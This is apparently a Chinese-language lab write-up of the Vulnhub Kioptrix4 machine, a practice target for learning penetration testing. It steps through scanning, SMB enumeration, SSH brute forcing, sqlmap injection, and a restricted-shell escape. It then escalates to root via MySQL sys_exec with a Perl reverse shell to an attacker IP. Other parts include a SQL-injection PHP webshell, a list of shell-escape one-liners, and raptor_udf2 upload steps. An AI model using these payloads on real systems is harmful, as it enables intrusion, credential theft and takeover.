Vulnhub Kioptrix4
Vulnhub Kioptrix4
0x01:端口扫描
主机发现
nmap -sn 192.168.231.0/24
全端口扫描
nmap --min-rate 10000 -p- 192.168.231.139
开放22ssh,80http,139netbios-ssn,445microsoft-ds,后两个是smb服务
端口 139(NetBIOS-SSN):用于通过NetBIOS协议在局域网内实现文件和打印机共享。虽然它是SMB的一部分,但它依赖于NetBIOS协议,通常用于较旧的Windows操作系统(Windows 95/98等)。
端口 445(Microsoft-DS):直接用于SMB协议的通信,绕过NetBIOS。它是现代Windows操作系统(如Windows 2000及更高版本)中用于SMB通信的标准端口。
UDP扫描
nmap -sU --min-rate 10000 -p- 192.168.231.139
也是一个smb服务
详细端口扫描
nmap -sT -sC -sV -O --min-rate 10000 -p22,80,139,445 192.168.231.139
发现它可以guest匿名登录
漏洞扫描
nmap --script=vuln -p22,80,139,445 192.168.231.139
0x02:smb渗透
smbclient -L 192.168.231.139
我们再拿enum4linux扫一遍
enum4linux -a 192.168.231.139
发现几个用户,我们尝试爆破ssh
hydra -l loneferret -P /usr/share/wordlists/rockyou.txt ssh://192.168.187.139
发现爆不出来,遂放弃
0x03:web渗透
扫目录
dirsearch -u http://192.168.231.139
主页面测了一下sql注入
报错,可以sql注入
我们先用bp抓包,保存到1.txt下
sqlmap -r 1.txt --level 5
sqlmap -r 1.txt --leval 5 --dbs
找到3个数据库,我们一番查找在member下找到
sqlmap -r 1.txt --leval 5 -D members --tabels
sqlmap -r 1.txt --leval 5 -D members -T members --dump
我们登录web页面
两个用户都是这个界面
基本上没有可以利用的东西,怀疑是ssh,试一试
ssh john@192.168.231.139
看来我们需要指定密钥
ssh -o HostKeyAlgorithms=ssh-rsa john@192.168.231.139
成功进入
0x04:权限提升
我们发现这两个用户的权限非常低
一些基本命令都执行不了,但是发现他能执行echo命令,我们尝试echo逃逸
成功
sudo权限查看
sudo -l
我们看看另外一个用户呢
也是不行的
查看SUID位
find / -type f -perm -04000 -ls 2>/dev/null
发现sudoedit设置了S位,先用这个命令查看是否有漏洞
sudoedit -s /
如果以
sudoedit:
开头的报错,那么表明存在漏洞如果以
usage:
开头的报错,则不存在
发现存在漏洞,我们上传脚本
但是他没有python3和gcc,于是另寻其路
没有gcc的话,内核提权基本上就是不行了
看看自动任务
cat /etc/crontab
也没有用
到这里,基本上普通的提权方式就试完了,我们现在来尝试不同的
我们先看mysql进程挂在哪个用户下的
ps -Af | grep mysql
mysql位于root权限下,我们登陆一下
mysql -u root
发现是匿名登录
我们先查看secure_file_priv
是否为空
show global variables like '%secure%';
为空!这个时候我们可以先看看这台靶机上是否有现成的so
文件,如果有,我们就可以不用在本机上编译了(本机上自带1518.c进行参考)
在mysql
库下的func
表中查看
select * from mysql.func;
是存在的,我们直接反弹shell
select sys_exec('perl -e \'use Socket;$i="192.168.231.138";$p=44444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\'')
成功!
0x05:思考反思
1.可以通过注入写马获取www-data的shell
' union select 1,2,"<?php eval($_POST['shell']);?>" into outfile '/var/www/ma.php'#
2.limited shell
这里是通过echo逃逸的,还有其他逃逸的方法
https://blog.csdn.net/qq_25924971/article/details/128884687
常用逃逸命令
- 如果允许使用“/”,则可以运行/bin/sh、/bin/bash
- 如果允许使用cp命令,则可以复制/bin/sh到当前目录
- 使用ftp进行命令执行,执行 !/bin/sh
- 使用gdb进行命令执行,执行 !/bin/sh
- 使用more/man/less进行命令执行,执行 !/bin/sh
- 使用vim进行命令执行,执行 !/bin/sh
- 使用rvim执行
:python
,然后运行import os; os.system("/bin/bash )
- 使用scp,通过scp来传入自己脚本
- 使用awk,执行
awk 'BEGIN {system("/bin/sh or /bin/bash")}'
- 使用find,执行
find / -name test -exec /bin/sh or /bin/bash \
编程语言逃逸
- 使用except,执行
except spawn sh then sh.
- 使用python,执行
python -c 'import os; os.system("/bin/sh")'
- 使用php,执行
php -a then exec("sh -i");
- 使用perl,执行
perl -e 'exec "/bin/sh";‘
- 使用lua,执行
os.execute('/bin/sh')
- 使用ruby,执行
exec "/bin/sh"
高级技术
- 通过ssh,
ssh username@IP - t "/bin/sh" or "/bin/bash"
- 通过ssh,
ssh username@IP -t "bash --noprofile"
- 通过ssh连接,并使用shellshock,
ssh username@IP -t "() { :; }; /bin/bash"
- 通过ssh连接,
ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1
(SUID)- 通过git,执行
git help status
,然后执行!/bin/bash- 通过pico,执行
pico -s "/bin/bash"
,然后写入/bin/bash,并且执行CTRL+T- 通过zip,执行
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
- 通过tar,执行
tar cf /dev/null testfile --checkpoint=1 --checkpoint- action=exec=/bin/bash
3. nmap的smb用户枚举
nmap -sC --script=smb-enum-users 192.168.231.139
4.如果没有自带的so文件,我们自己上传一遍
由于在靶机上没有gcc
,我们在本地编译
/////本机
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
/////
/////靶机
wget 192.168.231.138:6666/raptor_udf2.so
mysql -u root -p
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
#注意,此处的路径应该是当前文件所在的目录
mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
#注意,此处的路径应该是`show variables like '%plugin%'`下的目录
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
/////
但是倒数第二步报错了。。。
看来还得是在靶机上编译。。。
5.linenum向量枚举较为完全,但是如果为内核提权的话,则使用linpeas.sh